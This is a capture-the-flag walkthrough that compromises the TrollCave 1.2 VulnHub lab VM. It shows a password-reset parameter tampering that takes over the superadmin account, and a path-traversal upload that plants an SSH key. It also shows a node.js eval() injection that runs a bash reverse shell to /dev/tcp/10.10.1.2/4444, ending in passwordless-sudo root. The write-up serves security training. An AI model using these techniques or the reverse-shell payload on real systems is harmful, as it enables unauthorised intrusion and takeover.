This is a walkthrough of the TrollCave 1.2 vulnerable VM. You can find it on VulnHub here: https://www.vulnhub.com/entry/trollcave-12,230/
Scanning
I’ll start by finding the IP address of our target using netdiscover:
root ~ # netdiscover -i eth1 -r 10.10.1.0/24 Currently scanning: Finished! | Screen View: Unique Hosts 3 Captured ARP Req/Rep packets, from 3 hosts. Total size: 180 _________________________________________________________________________ IP At MAC Address Count Len MAC Vendor / Hostname ------------------------------------------------------------------------- 10.10.1.1 0a:00:27:00:00:02 1 60 Unknown vendor 10.10.1.10 08:00:27:d0:d7:c5 1 60 PCS Systemtechnik GmbH 10.10.1.100 08:00:27:0c:71:f1 1 60 PCS Systemtechnik GmbH
Now for some portscanning with nmap:
root ~ # nmap -sV -O 10.10.1.10 Starting Nmap 7.70 ( https://nmap.org ) at 2018-07-03 22:28 EDT Nmap scan report for 10.10.1.10 Host is up (0.00036s latency). Not shown: 998 filtered ports PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.4 (Ubuntu Linux; protocol 2.0) 80/tcp open http nginx 1.10.3 (Ubuntu) MAC Address: 08:00:27:D0:D7:C5 (Oracle VirtualBox virtual NIC) Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port Device type: general purpose Running: Linux 3.X|4.X OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4 OS details: Linux 3.10 - 4.11, Linux 3.16 - 4.6, Linux 3.2 - 4.9, Linux 4.4 Network Distance: 1 hop Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
There’s only 2 services running, SSH & a web server. I did run nmap again, scanning all ports this time (nmap -p- -T5 10.10.1.10) and found nothing else.
Enumeration
I’ll start by taking a look at the website & see what I can find. By the way, I’ve fired up BurpSuite (community edition) to run this through a proxy & see what additional information I can find that the browser won’t show:
It looks like a standard blogging web app built with Ruby on Rails. That “password reset” blog post looks interesting. It says:
so i've been getting a lot of emails lately from users who forgot their passwords and need to reset them. because the site doesn't have one of those 'forgot password' buttons, i've been having to do all the resets manually. i'm getting really tired of it ergo it's time to implement password reset. busy with this at the moment, but having trouble with site emails. you might have noticed that activation has been turned off for new users because of this. so far i've implemented a password_resets resource in rails and it's about 90% working except for the email thing. it's very frustrating. if anyone has any suggestions about how to get the email working, please drop me a pm --coderguy
He mentions a “password_resets” resource in rails that isn’t fully implemented. Doing a little Google searching I found that I could access this resource with the following URL: http://10.10.1.10/password_resets/new
Excellent! That gets me to the password reset page. Now would be a good time to note that I enumerated all of the users by visiting each of the /users/ URLs that ends in a number (e.g. http://10.10.1.10/users/1). There were 17 in total. Here’s the results of that:
USER ROLE NUM King superadmin 1 dave admin 2 dragon admin 3 coderguy admin 4 cooldude89 moderator 5 Sir moderator 6 Q moderator 7 teflon moderator 8 TheDankMan reg member 9 artemus reg member 10 MrPotatoHead reg member 11 Ian reg member 12 kev member 13 notanother member 14 anybodyhome member 15 onlyme member 16 xer member 17
Exploitation
The first password I tried resetting was for “king” as he’s the “superadmin.” However, I got punted back to the home page with a message saying “Can only reset normal members’ passwords for now.” I tried several other users that weren’t “normal members” and got the same error. Last, I tried “xer” and found some success:
Great! I took that URL and put it in a new tab. This took me to the Reset Password page.
But I don’t want access to a regular user. I want an admin, preferably a “superadmin.” So I changed the URL from “http://10.10.1.10/password_resets/edit.q-g9qjeKaeAoEDxY7bRagw?name=xer” to “http://10.10.1.10/password_resets/edit.q-g9qjeKaeAoEDxY7bRagw?name=King” and it still took me to a password reset page! I set a new password & was logged in as King! And it looks like I now have access to some additional blog posts only visible to admins:
Now the first thing I’m thinking of is uploading a PHP reverse shell. In the “The King is Dead. Long Live the King!” blog post, the user, dragon, states that King will be gone for a while and he’s using the account now. In a comment, he also states that, “File upload will be re-enabled once coderguy has addressed the security concerns around the functionality.” So this should be a good place to start.
First, I go to the “Admin panel” and enable file upload. Next, I’ll go to the “File manager” page. I took pentestmonkey’s PHP reverse shell, modified the IP variable, started a netcat listener (# nc -vnlp 1234), uploaded the file, and accessed the URL (http://10.10.1.10/uploads/King/php-reverse-shell.php). However, all I got was a page with the source code. Looks like PHP isn’t running.
I messed around with this (for a lot longer than I’d like to admit), uploading various files including HTML with embedded ruby script. Nothing seemed to work. Then I tried uploading to other locations. Seems you can upload to other locations by specifying it in the “Alternate file name” box. I uploaded a test.html file with “../../test.html” as an alternate file name and it got uploaded to the www root directory (http://10.10.1.10/test.html).
Looking at that last screenshot, you can see that coderguy is using the “rails” user. And we know that SSH is running. Let’s see if we can set the “authorized_keys” file for the “rails” user. I uploaded my “/root/.ssh/id_rsa.pub” file:
After the upload I was to SSH into the machine!
root ~ # ssh rails@10.10.1.10 The authenticity of host '10.10.1.10 (10.10.1.10)' can't be established. ECDSA key fingerprint is SHA256:5i/FfNIcrHa44dcYPjVa145eHfSZYZESRXiv0d62SeE. Are you sure you want to continue connecting (yes/no)? yes Warning: Permanently added '10.10.1.10' (ECDSA) to the list of known hosts. Enter passphrase for key '/root/.ssh/id_rsa': Welcome to Ubuntu 16.04.4 LTS (GNU/Linux 4.4.0-116-generic x86_64) * Documentation: https://help.ubuntu.com * Management: https://landscape.canonical.com * Support: https://ubuntu.com/advantage 0 packages can be updated. 0 updates are security updates. Last login: Thu Jul 5 19:39:21 2018 from 10.10.1.2 $ id uid=1001(rails) gid=1001(rails) groups=1001(rails) $
Privilege Escalation
After digging around a bit, the “king” user has an interesting node.js app in /home/king/calc/calc.js. One line in particular (http.createServer(onRequest).listen(8888, ‘127.0.0.1’);) made me think that this was a running server.
$ ps aux | grep calc king 21522 0.0 2.8 744952 21316 ? Ssl 22:59 0:00 /usr/bin/nodejs /home/king/calc/calc.js $ netstat -pant (Not all processes could be identified, non-owned process info will not be shown, you would have to be root to see it all.) Active Internet connections (servers and established) Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN - tcp 0 0 127.0.0.1:8888 0.0.0.0:* LISTEN -
As you can see, something is indeed running and only listening on localhost. So I setup an SSH tunnel to use as a SOCKS proxy so my browser can access this application.
root ~ # ssh -D 9999 -fCqN rails@10.10.1.10
And of course it doen’t seem to be working right. Looking at the script, I noticed that the “calc” function uses the javascript “eval()” function. After doing some research & realizing this was vulnerable, I messed around with it using curl while SSH’ed into the machine.
$ bash rails@trollcave:~$ curl 127.0.0.1:8888 <h1>The King's Calculator</h1><p>Enter your calculation below:</p><form action='/calc' method='get'><input type='text' name='sum' value='1+1'><input type='submit' value='Calculate!'></form><hr style='margin-top:50%'><small><i>Powered by node.js</i></small> rails@trollcave:~$ curl 127.0.0.1:8888/calc curl: (52) Empty reply from server rails@trollcave:~$ curl 127.0.0.1:8888/calc?sum=1%2B1 curl: (52) Empty reply from server rails@trollcave:~$ curl "127.0.0.1:8888/calc?sum=require('child_process').exec('id')" [object Object]
That “[object Object]” makes me think it’s working. After playing around some more, it seems that any command with a space after it won’t work. So I wrote a small bash script using pentestmonkey’s Bash reverse shell.
rails@trollcave:~$ cat test.sh #!/usr/bin/env bash bash -i >& /dev/tcp/10.10.1.2/4444 0>&1
I started a netcat listener on my kali machine and executed the script:
rails@trollcave:~$ curl "127.0.0.1:8888/calc?sum=require('child_process').exec('/home/rails/test.sh')" [object Object]
root ~ # nc -vnlp 4444 listening on [any] 4444 ... connect to [10.10.1.2] from (UNKNOWN) [10.10.1.10] 51852 bash: cannot set terminal process group (22050): Inappropriate ioctl for device bash: no job control in this shell king@trollcave:~/calc$ sudo -i sudo -i mesg: ttyname failed: Inappropriate ioctl for device cd /root ls flag.txt cat flag.txt et tu, dragon? c0db34ce8adaa7c07d064cc1697e3d7cb8aec9d5a0c4809d5a0c4809b6be23044d15379c5
Apparently King has passwordless sudo privileges. Lucky for me!